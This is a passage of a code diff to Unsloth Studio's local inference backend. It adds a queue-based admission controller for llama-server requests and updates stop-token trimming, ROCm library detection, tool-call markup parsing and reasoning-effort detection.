             # harmony protocol tokens and other gpt-oss tokens (e.g.
@@ -1960,10 +2337,28 @@ class InferenceBackend:
             return text.strip()
 
         tokenizer = self.models.get(self.active_model_name, {}).get("tokenizer")
+        tokenizer = getattr(tokenizer, "tokenizer", tokenizer)
         if tokenizer:
-            for token in getattr(tokenizer, "all_special_tokens", []):
-                if token in text:
-                    text = text.replace(token, "")
+            if stop_token_ids is None:
+                stop_token_ids = self.models.get(self.active_model_name, {}).get(
+                    "chat_turn_end_eos_ids"
+                )
+            if isinstance(stop_token_ids, int):
+                stop_token_ids = (stop_token_ids,)
+            for token_id in stop_token_ids or ():
+                try:
+                    token = tokenizer.convert_ids_to_tokens(int(token_id))
+                except Exception:
+                    token = None
+                if isinstance(token, str) and token and text.endswith(token):
+                    text = text[: -len(token)]
+                elif (
+                    isinstance(token, str)
+                    and token
+                    and text.endswith("</think>")
+                    and text[: -len("</think>")].endswith(token)
+                ):
+                    text = text[: -len("</think>") - len(token)] + "</think>"
         return text.strip()
 
     def _load_chat_template_info(self, model_name: str):
diff --git a/studio/backend/core/inference/llama_admission.py b/studio/backend/core/inference/llama_admission.py
new file mode 100644
index 0000000000..b6a939c87b
--- /dev/null
+++ b/studio/backend/core/inference/llama_admission.py
@@ -0,0 +1,368 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""Admission control for local llama-server generation requests.
+
+The helpers in this module deliberately know nothing about FastAPI, SSE, or the
+OpenAI-compatible route shape. They only coordinate how many upstream generation
+requests may be active for one llama-server backend and provide a cancellable
+FIFO queue for excess requests.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import os
+import threading
+from collections import deque
+from dataclasses import dataclass
+from typing import Deque, Optional
+
+
+ADMISSION_CONTROL_ENV = "UNSLOTH_OPENAI_COMPAT_ADMISSION_CONTROL"
+ADMISSION_QUEUE_TIMEOUT_ENV = "UNSLOTH_OPENAI_COMPAT_ADMISSION_QUEUE_TIMEOUT"
+ADMISSION_KEEPALIVE_INTERVAL_ENV = "UNSLOTH_OPENAI_COMPAT_ADMISSION_KEEPALIVE_INTERVAL"
+ADMISSION_MAX_QUEUE_ENV = "UNSLOTH_OPENAI_COMPAT_ADMISSION_MAX_QUEUE"
+
+DEFAULT_ADMISSION_ENABLED = True
+DEFAULT_ADMISSION_QUEUE_TIMEOUT_S = None
+DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S = 5.0
+DEFAULT_ADMISSION_MAX_QUEUE = 64
+
+
+@dataclass(frozen = True)
+class LlamaAdmissionConfig:
+    enabled: bool = DEFAULT_ADMISSION_ENABLED
+    queue_timeout_s: Optional[float] = DEFAULT_ADMISSION_QUEUE_TIMEOUT_S
+    keepalive_interval_s: float = DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S
+    max_queue: Optional[int] = DEFAULT_ADMISSION_MAX_QUEUE
+
+
+@dataclass(frozen = True)
+class LlamaAdmissionSnapshot:
+    key: str
+    capacity: int
+    active: int
+    queued: int
+
+
+class LlamaAdmissionError(Exception):
+    def __init__(
+        self,
+        message: str,
+        *,
+        snapshot: Optional[LlamaAdmissionSnapshot] = None,
+    ):
+        super().__init__(message)
+        self.snapshot = snapshot
+
+
+class LlamaAdmissionQueueFull(LlamaAdmissionError):
+    pass
+
+
+class LlamaAdmissionTimeout(LlamaAdmissionError):
+    pass
+
+
+class LlamaAdmissionCancelled(LlamaAdmissionError):
+    pass
+
+
+def _bool_env(name: str, default: bool) -> bool:
+    value = os.environ.get(name)
+    if value is None or not value.strip():
+        return default
+    value = value.strip().lower()
+    if value in {"1", "true", "yes", "on"}:
+        return True
+    if value in {"0", "false", "no", "off"}:
+        return False
+    return default
+
+
+def _optional_positive_float_env(name: str, default: Optional[float]) -> Optional[float]:
+    value = os.environ.get(name)
+    if value is None or not value.strip():
+        return default
+    try:
+        parsed = float(value.strip())
+    except ValueError:
+        return default
+    return parsed if parsed > 0 else None
+
+
+def _positive_float_env(name: str, default: float) -> float:
+    value = os.environ.get(name)
+    if value is None or not value.strip():
+        return default
+    try:
+        parsed = float(value.strip())
+    except ValueError:
+        return default
+    return parsed if parsed > 0 else default
+
+
+def _optional_positive_int_env(name: str, default: Optional[int]) -> Optional[int]:
+    value = os.environ.get(name)
+    if value is None or not value.strip():
+        return default
+    try:
+        parsed = int(value.strip())
+    except ValueError:
+        return default
+    return parsed if parsed > 0 else None
+
+
+def llama_admission_config_from_env() -> LlamaAdmissionConfig:
+    return LlamaAdmissionConfig(
+        enabled = _bool_env(ADMISSION_CONTROL_ENV, DEFAULT_ADMISSION_ENABLED),
+        queue_timeout_s = _optional_positive_float_env(
+            ADMISSION_QUEUE_TIMEOUT_ENV,
+            DEFAULT_ADMISSION_QUEUE_TIMEOUT_S,
+        ),
+        keepalive_interval_s = _positive_float_env(
+            ADMISSION_KEEPALIVE_INTERVAL_ENV,
+            DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S,
+        ),
+        max_queue = _optional_positive_int_env(
+            ADMISSION_MAX_QUEUE_ENV,
+            DEFAULT_ADMISSION_MAX_QUEUE,
+        ),
+    )
+
+
+@dataclass
+class _Waiter:
+    loop: asyncio.AbstractEventLoop
+    future: asyncio.Future
+    cancelled: bool = False
+    granted_lease: Optional["LlamaAdmissionLease"] = None
+
+
+class LlamaAdmissionLease:
+    def __init__(self, queue: Optional["LlamaAdmissionQueue"]):
+        self._queue = queue
+        self._released = False
+        self._release_lock = threading.Lock()
+
+    def release(self) -> None:
+        queue = None
+        with self._release_lock:
+            if self._released:
+                return
+            self._released = True
+            queue = self._queue
+        if queue is not None:
+            queue.release()
+
+    async def __aenter__(self) -> "LlamaAdmissionLease":
+        return self
+
+    async def __aexit__(self, *_args) -> None:
+        self.release()
+
+
+class LlamaAdmissionReservation:
+    def __init__(
+        self,
+        *,
+        queue: Optional["LlamaAdmissionQueue"],
+        lease: Optional[LlamaAdmissionLease] = None,
+        waiter: Optional[_Waiter] = None,
+        snapshot: Optional[LlamaAdmissionSnapshot] = None,
+    ):
+        self._queue = queue
+        self._lease = lease
+        self._waiter = waiter
+        self.snapshot = snapshot
+
+    @property
+    def is_cancelled(self) -> bool:
+        return self._lease is None and self._waiter is None
+
+    def lease_nowait(self) -> Optional[LlamaAdmissionLease]:
+        if self._lease is not None:
+            return self._lease
+        if self._waiter is None or not self._waiter.future.done():
+            return None
+        if self._waiter.future.cancelled():
+            self._waiter.cancelled = True
+            self._waiter = None
+            return None
+        self._lease = self._waiter.future.result()
+        self._waiter = None
+        return self._lease
+
+    async def wait(self, timeout_s: float) -> Optional[LlamaAdmissionLease]:
+        lease = self.lease_nowait()
+        if lease is not None:
+            return lease
+        if self._waiter is None:
+            return None
+        waiter = self._waiter
+        try:
+            await asyncio.wait_for(asyncio.shield(waiter.future), timeout = timeout_s)
+        except asyncio.CancelledError:
+            if waiter.future.cancelled():
+                waiter.cancelled = True
+                if self._waiter is waiter:
+                    self._waiter = None
+                return None
+            raise
+        return self.lease_nowait()
+
+    def cancel(self) -> None:
+        lease = self.lease_nowait()
+        if lease is not None:
+            lease.release()
+            self._lease = None
+            return
+        if self._queue is not None and self._waiter is not None:
+            self._queue.cancel(self._waiter)
+        self._waiter = None
+
+    def snapshot_now(self) -> Optional[LlamaAdmissionSnapshot]:
+        if self._queue is None:
+            return self.snapshot
+        return self._queue.snapshot()
+
+
+class LlamaAdmissionQueue:
+    def __init__(self, key: str):
+        self.key = key
+        self._lock = threading.Lock()
+        self._active = 0
+        self._capacity = 1
+        self._waiters: Deque[_Waiter] = deque()
+
+    def reserve(self, *, capacity: int, config: LlamaAdmissionConfig) -> LlamaAdmissionReservation:
+        capacity = max(1, int(capacity or 1))
+        if not config.enabled:
+            return LlamaAdmissionReservation(
+                queue = None,
+                lease = LlamaAdmissionLease(None),
+                snapshot = LlamaAdmissionSnapshot(self.key, capacity, 0, 0),
+            )
+
+        loop = asyncio.get_running_loop()
+        with self._lock:
+            self._capacity = capacity
+            self._prune_waiters_locked()
+            self._grant_waiters_locked()
+            if self._active < self._capacity and not self._waiters:
+                self._active += 1
+                return LlamaAdmissionReservation(
+                    queue = self,
+                    lease = LlamaAdmissionLease(self),
+                    snapshot = self._snapshot_locked(),
+                )
+            if config.max_queue is not None and len(self._waiters) >= config.max_queue:
+                raise LlamaAdmissionQueueFull(
+                    "llama-server generation queue is full",
+                    snapshot = self._snapshot_locked(),
+                )
+            waiter = _Waiter(
+                loop = loop,
+                future = loop.create_future(),
+            )
+            self._waiters.append(waiter)
+            return LlamaAdmissionReservation(
+                queue = self,
+                waiter = waiter,
+                snapshot = self._snapshot_locked(),
+            )
+
+    def release(self) -> None:
+        with self._lock:
+            if self._active > 0:
+                self._active -= 1
+            self._grant_waiters_locked()
+
+    def cancel(self, waiter: _Waiter) -> None:
+        lease_to_release = None
+        with self._lock:
+            waiter.cancelled = True
+            try:
+                self._waiters.remove(waiter)
+            except ValueError:
+                pass
+            if waiter.granted_lease is not None:
+                lease_to_release = waiter.granted_lease
+                waiter.granted_lease = None
+            if not waiter.future.done():
+                waiter.loop.call_soon_threadsafe(waiter.future.cancel)
+        if lease_to_release is not None:
+            lease_to_release.release()
+
+    def snapshot(self) -> LlamaAdmissionSnapshot:
+        with self._lock:
+            self._prune_waiters_locked()
+            return self._snapshot_locked()
+
+    def is_idle(self) -> bool:
+        with self._lock:
+            self._prune_waiters_locked()
+            return self._active == 0 and not self._waiters
+
+    def _grant_waiters_locked(self) -> None:
+        self._prune_waiters_locked()
+        while self._waiters and self._active < self._capacity:
+            waiter = self._waiters.popleft()
+            if waiter.cancelled or waiter.future.done():
+                continue
+            self._active += 1
+            lease = LlamaAdmissionLease(self)
+            waiter.granted_lease = lease
+            waiter.loop.call_soon_threadsafe(self._deliver_lease, waiter, lease)
+
+    def _deliver_lease(self, waiter: _Waiter, lease: LlamaAdmissionLease) -> None:
+        if waiter.cancelled or waiter.future.done():
+            waiter.granted_lease = None
+            if not waiter.future.done():
+                waiter.future.cancel()
+            lease.release()
+            return
+        try:
+            waiter.future.set_result(lease)
+            waiter.granted_lease = None
+        except asyncio.InvalidStateError:
+            waiter.granted_lease = None
+            lease.release()
+
+    def _prune_waiters_locked(self) -> None:
+        self._waiters = deque(
+            waiter for waiter in self._waiters if not waiter.cancelled and not waiter.future.done()
+        )
+
+    def _snapshot_locked(self) -> LlamaAdmissionSnapshot:
+        return LlamaAdmissionSnapshot(
+            key = self.key,
+            capacity = self._capacity,
+            active = self._active,
+            queued = len(self._waiters),
+        )
+
+
+_QUEUES_LOCK = threading.Lock()
+_QUEUES: dict[str, LlamaAdmissionQueue] = {}
+
+
+def get_llama_admission_queue(key: str) -> LlamaAdmissionQueue:
+    with _QUEUES_LOCK:
+        queue = _QUEUES.get(key)
+        if queue is None:
+            queue = LlamaAdmissionQueue(key)
+            _QUEUES[key] = queue
+            # base_url carries a fresh ephemeral port on every model load, so
+            # each load registers a new key. Drop the now-idle queues from prior
+            # loads so the registry can't grow without bound on a long-running
+            # server. Queues with in-flight requests are kept until they drain.
+            for stale_key in [k for k in _QUEUES if k != key and _QUEUES[k].is_idle()]:
+                del _QUEUES[stale_key]
+        return queue
+
+
+def reset_llama_admission_queues() -> None:
+    with _QUEUES_LOCK:
+        _QUEUES.clear()
diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 3ccfc5cdfe..fc58442a79 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -9,7 +9,9 @@ OpenAI-compatible /v1/chat/completions endpoint.
 
 import atexit
 import contextlib
+import functools
 import json
+import math
 import os
 import re
 import struct
@@ -21,12 +23,24 @@ import subprocess
 import sys
 import threading
 import time
+import uuid
 from pathlib import Path
-from typing import Callable, Collection, Generator, Iterable, List, Mapping, Optional, Union
+from typing import (
+    Callable,
+    Collection,
+    Generator,
+    Iterable,
+    List,
+    Literal,
+    Mapping,
+    Optional,
+    Union,
+)
 
 import httpx
 
 from core.inference.llama_server_args import (
+    _LAYER_OFFLOAD_FLAGS,
     _effective_tensor_parallel,
     _tensor_parallel_matches_loaded,
     extra_args_disable_mmproj,
@@ -38,9 +52,35 @@ from core.inference.llama_server_args import (
     strip_shadowing_flags,
     strip_split_mode_only,
 )
+
+# Share strip / signal constants with the multi-format parser so BUFFERING also
+# catches Llama-3 / Mistral / Gemma 4 (legacy helper only knew <tool_call> / <function=).
+from core.inference.tool_call_parser import (
+    _GEMMA_BARE_TC_PREFIX_RE,
+    _GEMMA_BARE_TC_RE,
+    _TOOL_ALL_PATS as _PARSER_TOOL_ALL_PATS,
+    _TOOL_CLOSED_PATS as _PARSER_TOOL_CLOSED_PATS,
+    _balanced_brace_end,
+    _strip_function_xml_calls,
+    _strip_gemma_wrapperless_calls,
+    _strip_glm_calls,
+    _strip_mistral_closed_calls,
+    TOOL_XML_SIGNALS as _SHARED_TOOL_XML_SIGNALS,
+    RAG_MAX_SEARCHES_PER_TURN,
+    RAG_SEARCH_CAP_NUDGE,
+    parse_tool_calls_from_text as _shared_parse_tool_calls_from_text,
+    strip_leading_bare_json_call,
+    strip_llama3_leading_sentinels,
+    strip_tool_markup as _shared_strip_tool_markup,
+)
+
+# The healer owns the bracket-tag + rehearsal strip helpers and their name-gated
+# pattern lists, so the GGUF streaming strip stays aligned with the parser.
 from core.tool_healing import (
-    _TOOL_ALL_PATS,
-    strip_tool_call_markup,
+    _REHEARSAL_TAIL_STRIP_RE,
+    _strip_bracket_tag_calls,
+    apply_tool_strip_patterns,
+    strip_outside_think,
 )
 from utils.native_path_leases import child_env_without_native_path_secret
 from utils.hf_xet_fallback import hf_hub_download_with_xet_fallback
@@ -49,13 +89,14 @@ from utils.subprocess_compat import (
 )
 from utils.process_lifetime import child_popen_kwargs as _child_popen_kwargs
 from core.inference.tool_call_parser import (
-    RAG_MAX_SEARCHES_PER_TURN,
-    RAG_SEARCH_CAP_NUDGE,
-    TOOL_XML_SIGNALS,
-    parse_tool_calls_from_text as _shared_parse_tool_calls_from_text,
+    MAX_ACT_REPROMPTS as _MAX_REPROMPTS,
+    REPROMPT_MAX_CHARS as _REPROMPT_MAX_CHARS,
+    is_short_intent_without_action as _is_short_intent_without_action,
+    reprompt_to_act_message as _reprompt_to_act_message,
 )
 from core.inference.tool_loop_controller import (
     ToolLoopController,
+    append_deferred_nudges,
     tool_event_provenance,
 )
 from state.tool_approvals import (
@@ -74,6 +115,10 @@ class LlamaServerNotFoundError(RuntimeError):
     Subclasses RuntimeError so existing handlers still catch it."""
 
 
+class _LlamaStreamCancelled(Exception):
+    """Internal signal for an expected client/request cancellation."""
+
+
 # Shared so the from_identifier preflight and the load-time raise stay in sync.
 LLAMA_SERVER_NOT_FOUND_DETAIL = (
     "This is a GGUF model, but the llama.cpp runtime (llama-server) is not "
@@ -84,7 +129,7 @@ LLAMA_SERVER_NOT_FOUND_DETAIL = (
 
 # llama-server can serve HTTP 200 while running a model entirely on CPU when a
 # GPU backend fails to init (#5807 / #5106 / #5830). Classify the startup log so
-# Studio can warn. Priority: explicit "offloaded N/M layers to GPU" counts
+# Unsloth can warn. Priority: explicit "offloaded N/M layers to GPU" counts
 # (authoritative), then GPU "model buffer size" lines (host-pinned _Host
 # excluded), then the "device_info:" device table (disconfirm only).
 _GPU_OFFLOAD_MARKERS = (
@@ -202,25 +247,60 @@ def _wsl_system_rocm_lib_dirs() -> "list[str]":
     return out
 
 
-# ── Pre-compiled patterns for plan-without-action re-prompt ──
-# Forward-looking intent signals: the model is describing what it *will*
-# do rather than giving a final answer.
-_INTENT_SIGNAL = re.compile(
-    r"(?i)("
-    # Direct intent ("I'll ...", "Let me ...", straight + curly apostrophes).
-    # Excludes "I can"/"I should"/"I want to"/"let's" (common in answers).
-    # Negative lookahead drops negated forms ("I will not") so a refusal
-    # doesn't trigger a re-prompt.
-    r"\b(i['\u2019](ll|m going to|m gonna)|i am (going to|gonna)|i will|i shall|let me|allow me)\b(?!\s+(?:not|never)\b)"
-    r"|"
-    # Step/plan framing: "First ...", "Step 1:", "Here's my plan"
-    r"\b(?:first\b|step \d+:?|here['\u2019]?s (?:my |the |a )?(?:plan|approach))"
-    r"|"
-    # "Now I" / "Next I" patterns
-    r"\b(?:now i|next i)\b"
-    r")"
-)
-_MAX_REPROMPTS = 1
+def _bundled_hip_present(binary_dir: str) -> bool:
+    """True when a prebuilt bundle ships its own HIP backend library."""
+    if not binary_dir:
+        return False
+    try:
+        # Glob the version suffix (libggml-hip.so, .so.0, .so.0.11.1) the same
+        # way the installer's runtime health check matches libggml-hip.so*.
+        return any(Path(str(binary_dir)).glob("libggml-hip.so*"))
+    except OSError:
+        return False
+
+
+def _native_linux_system_rocm_lib_dirs(binary_dir: str = "") -> "list[str]":
+    """System ROCm lib dir(s) to prepend before a prebuilt's bundled HIP, on native Linux.
+
+    The bundled bare-metal HIP runtime can mismatch the host amdkfd driver and crash
+    in hsa_init(); prepending the whole system ROCm lib dir loads a driver-matched,
+    version-consistent stack (libhsa-runtime64 / libamdhip64 / librocblas) ahead of it.
+    The whole dir is deliberate: mixing the bundle's rocBLAS with a different-version
+    system HIP/ROCR risks missing symbols. UNSLOTH_LLAMA_NO_SYSTEM_ROCM=1 keeps the pure
+    bundle (for a host whose system ROCm lacks this arch); no-op on WSL / non-Linux.
+    """
+    if os.environ.get("UNSLOTH_LLAMA_NO_SYSTEM_ROCM") == "1":
+        return []
+    if sys.platform != "linux" or os.path.exists("/dev/dxg"):
+        return []
+    if not os.path.exists("/dev/kfd"):
+        return []
+    if not _bundled_hip_present(binary_dir):
+        return []
+    # Env-configured ROCm root first; /opt/rocm only as a fallback so a stale
+    # /opt/rocm doesn't shadow the driver-matching install these vars point at.
+    candidates = []
+    for var in ("HIP_PATH", "HIP_PATH_57", "ROCM_PATH"):
+        val = os.environ.get(var)
+        if val:
+            candidates.append(val)
+    candidates.append("/opt/rocm")
+    out: "list[str]" = []
+    seen: "set[str]" = set()
+    for base in candidates:
+        for lib_sub in ("lib", "lib64"):
+            d = os.path.join(base, lib_sub)
+            if d in seen:
+                continue
+            seen.add(d)
+            if os.path.exists(os.path.join(d, "libhsa-runtime64.so")) or os.path.exists(
+                os.path.join(d, "libhsa-runtime64.so.1")
+            ):
+                out.append(d)
+    return out
+
+
+# Plan-without-action re-prompt state now lives in tool_call_parser (imported above).
 
 # Default max_tokens to the effective context when known. The floor is high
 # enough for reasoning-heavy GGUFs and max_tokens-omitting API clients.
@@ -231,7 +311,10 @@ _DEFAULT_FIRST_TOKEN_TIMEOUT_S = 1200.0  # 20 min
 # is exempt because it needs immediate artifact feedback.
 _PROVISIONAL_ARGS_MIN_CHARS = 256
 _DEFAULT_STREAM_STALL_TIMEOUT_S = 120.0  # 2 min
-_REPROMPT_MAX_CHARS = 2000
+# Cap tool calls from a single TEXTUAL-fallback turn (mirrors the safetensors
+# loop). Structured delta.tool_calls are grammar-bounded by llama-server; text
+# parsed from content is not, so one runaway turn could fan out unbounded.
+_MAX_TOOL_CALLS_PER_TURN = 8
 _FORCED_REPEAT_PLAN_SIGNAL = re.compile(
     r"\b(?:i\s+will|i'll|let\s+me|going\s+to|need\s+to|call|use|run|search|fetch|render)\b",
     re.I,
@@ -242,9 +325,91 @@ _FINAL_ANSWER_SIGNAL = re.compile(
 )
 
 
-def _is_short_intent_without_action(text: str) -> bool:
-    stripped = text.strip()
-    return 0 < len(stripped) < _REPROMPT_MAX_CHARS and _INTENT_SIGNAL.search(stripped) is not None
+def _gguf_active_tool_names(active_tools: list[dict]) -> list[str]:
+    names = [
+        (tool.get("function") or {}).get("name")
+        for tool in (active_tools or [])
+        if isinstance(tool, dict) and isinstance(tool.get("function"), dict)
+    ]
+    return [name for name in names if name]
+
+
+# Rehearsal NAME chars (word + hyphen, matching the parser); the lookbehind excludes the
+# Mistral [CALL_ID]...[ARGS] shape.
+_GGUF_REHEARSAL_ARGS_RE = re.compile(r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]")
+
+
+def _gguf_rehearsal_signal_pos(text: str, active_tools: list[dict]) -> int:
+    """Index of the first ``NAME[ARGS]`` whose NAME is an active tool, else -1. A
+    bare/inactive-name ``foo[ARGS]`` in prose is not a call; mirrors the safetensors
+    ``_earliest_tool_signal`` name-gating (no unrestricted GGUF mode)."""
+    active = set(_gguf_active_tool_names(active_tools))
+    if not active:
+        return -1
+    for m in _GGUF_REHEARSAL_ARGS_RE.finditer(text):
+        if m.group(1) in active:
+            return m.start()
+    return -1
+
+
+def _gguf_has_genuine_tool_signal(text: str, signals, active_tools: list[dict]) -> bool:
+    """True when ``text`` holds a genuine tool-call boundary for one of ``signals``.
+
+    Unambiguous markers (``<tool_call>``, ``[TOOL_CALLS]``, ``<function=``) count on a
+    plain substring hit; an ``[ARGS]`` hit is genuine only when an active tool name
+    precedes it, so inactive-name prose is neither drained nor parsed."""
+    for sig in signals:
+        if sig == "[ARGS]":
+            if _gguf_rehearsal_signal_pos(text, active_tools) >= 0:
+                return True
+            continue
+        if sig in text:
+            return True
+    return False
+
+
+_TEXT_TOOL_NAME_RE = re.compile(r'"name"\s*:\s*"([\w.\-]+)"')
+_TEXT_TOOL_GEMMA_RE = re.compile(r"\s*call:([\w.\-]+)")
+_TEXT_TOOL_REHEARSAL_RE = re.compile(r"\s*([\w.\-]+)\s*\[ARGS\]")
+
+
+def _sniff_text_tool_name(text: str, enabled_names: set) -> str:
+    """Best-effort tool name from a partially drained TEXT tool call, gated on
+    enabled names so prose can never spawn a card. Used only to open the live
+    argument pane early; the authoritative parse still happens at stream end."""
+    m = _TEXT_TOOL_NAME_RE.search(text[:4096])
+    if m and m.group(1) in enabled_names:
+        return m.group(1)
+    m = _TEXT_TOOL_GEMMA_RE.match(text[:256])
+    if m and m.group(1) in enabled_names:
+        return m.group(1)
+    m = _TEXT_TOOL_REHEARSAL_RE.match(text[:256])
+    if m and m.group(1) in enabled_names:
+        return m.group(1)
+    return ""
+
+
+def _is_rehearsal_prefix(stripped: str, active_tools: list[dict]) -> bool:
+    """True if ``stripped`` is a (possibly partial) prefix of ``NAME[ARGS]`` for an
+    active tool -- the bare tool name arriving in its own chunk before ``[ARGS]{...}``.
+    Mirrors the safetensors loop so the split rehearsal call is not streamed."""
+    if not stripped or any(ch.isspace() for ch in stripped):
+        return False
+    for name in _gguf_active_tool_names(active_tools):
+        if stripped == name or f"{name}[ARGS]".startswith(stripped):
+            return True
+    return False
+
+
+def _held_rehearsal_tail_len(text: str, active_tools: list[dict]) -> int:
+    """Length of a trailing bare tool-name token that may be a split rehearsal call
+    (``...web_search`` with ``[ARGS]{...}`` still to arrive), so STREAMING can hold it
+    instead of leaking the name. Returns 0 for ordinary prose. Mirrors safetensors."""
+    i = len(text)
+    while i > 0 and not text[i - 1].isspace():
+        i -= 1
+    tail = text[i:]
+    return len(tail) if tail and _is_rehearsal_prefix(tail, active_tools) else 0
 
 
 def _should_suppress_forced_no_tool_output(text: str) -> bool:
@@ -304,6 +469,19 @@ def _probe_dns_dead(host: str = "huggingface.co", timeout: float = 2.0) -> bool:
     return True if result[0] is None else result[0]
 
 
+def _hf_env_offline() -> bool:
+    """True when an HF offline env var is set to any truthy value (1/true/yes/on).
+
+    Mirrors utils.models.model_config._env_offline so a user-set HF_HUB_OFFLINE=true
+    (not just "1") still routes through the local-cache reuse path below.
+    """
+    try:
+        from utils.models.model_config import _env_offline
+        return _env_offline()
+    except Exception:
+        return os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in {"1", "true", "yes", "on"}
+
+
 @contextlib.contextmanager
 def _hf_offline_if_dns_dead():
     """Set HF_HUB_OFFLINE for this block only when DNS to huggingface.co fails;
@@ -329,6 +507,23 @@ def _hf_offline_if_dns_dead():
             os.environ.pop("TRANSFORMERS_OFFLINE", None)
 
 
+try:
+    _SLOT_SAVE_MAX_BYTES = int(os.environ.get("UNSLOTH_SLOT_SAVE_MAX_BYTES") or (10 << 30))
+except ValueError:
+    _SLOT_SAVE_MAX_BYTES = 10 << 30
+
+# The idle loop holds the lifecycle gate across a slot save, so a newly arriving
+# request waits on the in-flight save's HTTP call. Bound it (was 120s) so a slow
+# or stuck save can't stall the next request for minutes; best-effort save just
+# falls back to a plain unload. Override with UNSLOTH_SLOT_SAVE_TIMEOUT (seconds).
+try:
+    _SLOT_SAVE_HTTP_TIMEOUT = float(os.environ.get("UNSLOTH_SLOT_SAVE_TIMEOUT") or 30.0)
+except ValueError:
+    _SLOT_SAVE_HTTP_TIMEOUT = 30.0
+if _SLOT_SAVE_HTTP_TIMEOUT <= 0:
+    _SLOT_SAVE_HTTP_TIMEOUT = 30.0
+
+
 def _swa_cache_path() -> Path:
     home = os.environ.get("UNSLOTH_STUDIO_HOME") or os.environ.get("STUDIO_HOME")
     base = Path(home) if home else Path.home() / ".unsloth" / "studio"
@@ -384,7 +579,14 @@ def _swa_entry_from_layer_types(lt) -> Optional[object]:
 def _fetch_swa_entry_from_hf(repo_id: str) -> Optional[object]:
     try:
         from huggingface_hub import hf_hub_download
-        cfg_path = hf_hub_download(repo_id, "config.json", repo_type = "model")
+        from utils.hf_cache_settings import active_hf_hub_cache
+
+        cfg_path = hf_hub_download(
+            repo_id,
+            "config.json",
+            repo_type = "model",
+            cache_dir = active_hf_hub_cache(),
+        )
         with open(cfg_path) as f:
             cfg = json.load(f)
     except Exception:
@@ -541,17 +743,29 @@ _TOOL_TEMPLATE_MARKERS = (
     "{%- if tools -%}",
     "{% if tools %}",
     "{% if tools -%}",
+    # Defensive templates guard with `tools is defined` before truth-testing
+    # (e.g. Inkling: `{%- if tools is defined and tools -%}`).
+    "{%- if tools is defined",
+    "{% if tools is defined",
     '"role" == "tool"',
     "'role' == 'tool'",
     'message.role == "tool"',
     "message.role == 'tool'",
+    # DeepSeek: no top-level ``{% if tools %}`` block; it gates emission on
+    # ``message['role'] == 'tool'`` plus ``message['tool_calls'] is defined``.
+    "message['role'] == 'tool'",
+    'message["role"] == "tool"',
+    "message['tool_calls']",
+    'message["tool_calls"]',
+    "tool_calls is defined",
 )
 
 
 # Canonical reasoning_effort levels, weakest -> strongest. Used to read the
-# discrete set a template branches on (e.g. GLM-5.2 uses 'high' | 'max') so we
-# only ever offer levels the template actually understands.
-_REASONING_EFFORT_SCALE = ("minimal", "low", "medium", "high", "max")
+# discrete set a template branches on (e.g. GLM-5.2 uses 'high' | 'max', Inkling
+# uses the full 'none'..'max' ladder) so we only ever offer levels the template
+# actually understands.
+_REASONING_EFFORT_SCALE = ("none", "minimal", "low", "medium", "high", "xhigh", "max")
 
 
 def _extract_reasoning_effort_levels(chat_template: str) -> list:
@@ -605,6 +819,16 @@ def detect_reasoning_flags(
         else []
     )
     if effort_levels:
+        # DeepSeek-V4's encoder accepts reasoning_effort {'high', 'max'} but its
+        # template only branches on 'max', so the literal scan misses 'high'. Add it
+        # (matched on whole repo-name segments, so 'deepseek-v40' won't false-match)
+        # to expose the full none/high/max ladder instead of none/max.
+        segments = re.split(r"[-_.]", (model_identifier or "").lower().split("/")[-1])
+        is_dsv4 = "deepseek4" in segments or any(
+            a == "deepseek" and b == "v4" for a, b in zip(segments, segments[1:])
+        )
+        if is_dsv4 and "high" not in effort_levels:
+            effort_levels = sorted(set(effort_levels) | {"high"}, key = _REASONING_EFFORT_SCALE.index)
         # GLM-5.2-style: an enable_thinking on/off gate PLUS a reasoning_effort
         # level among a discrete set (e.g. 'high' | 'max'). Distinct from
         # gpt-oss (reasoning_effort only, no on/off gate) and Qwen
@@ -623,10 +847,22 @@ def detect_reasoning_flags(
         logger.info(f"{prefix}model supports reasoning (enable_thinking)")
     elif "reasoning_effort" in tpl:
         # gpt-oss / Harmony use reasoning_effort
-        # ("low" | "medium" | "high"), not a boolean.
+        # ("low" | "medium" | "high"), not a boolean. Inkling maps a wider
+        # named ladder ('none'..'max'); surface the levels the template
+        # actually branches on so the Think menu offers exactly those and
+        # nothing more ('none' renders as thinking off: effort 0). Guard:
+        # trust the scan only when it includes the core 'low' and 'high'
+        # literals, so a template that quotes e.g. 'none' for an unrelated
+        # comparison keeps the default low/medium/high set.
         flags["supports_reasoning"] = True
         flags["reasoning_style"] = "reasoning_effort"
-        logger.info(f"{prefix}model supports reasoning (reasoning_effort)")
+        scanned = _extract_reasoning_effort_levels(tpl)
+        if "low" in scanned and "high" in scanned:
+            flags["reasoning_effort_levels"] = scanned
+        logger.info(
+            f"{prefix}model supports reasoning "
+            f"(reasoning_effort: {flags['reasoning_effort_levels'] or 'default levels'})"
+        )
     elif "thinking" in tpl:
         # DeepSeek uses 'thinking', not 'enable_thinking'
         normalized_id = (model_identifier or "").lower()
@@ -747,6 +983,414 @@ def _gguf_snapshot_files(snapshot: Path) -> list[str]:
     ]
 
 
+def _cached_hf_snapshot_file(
+    repo_id: str,
+    filename: str,
+    *,
+    expected_size: Optional[int] = None,
+    cache_dir: Optional[str] = None,
+) -> Optional[str]:
+    """Return a cached snapshot file even when HF's current-ref probe misses it."""
+    if not filename:
+        return None
+    parts = [part for part in filename.replace("\\", "/").split("/") if part]
+    if not parts or any(part in (".", "..") for part in parts):
+        return None
+    try:
+        if cache_dir is None:
+            from utils.models.model_config import _iter_hf_cache_snapshots
+            snapshots = _iter_hf_cache_snapshots(repo_id)
+        else:
+            from hub.utils.hf_cache_state import iter_active_repo_cache_dirs
+            snapshots = (
+                snapshot
+                for repo_dir in iter_active_repo_cache_dirs(
+                    "model",
+                    repo_id,
+                    root = Path(cache_dir),
+                )
+                for snapshot in (repo_dir / "snapshots").glob("*")
+                if snapshot.is_dir()
+            )
+        for snap in snapshots:
+            candidate = snap.joinpath(*parts)
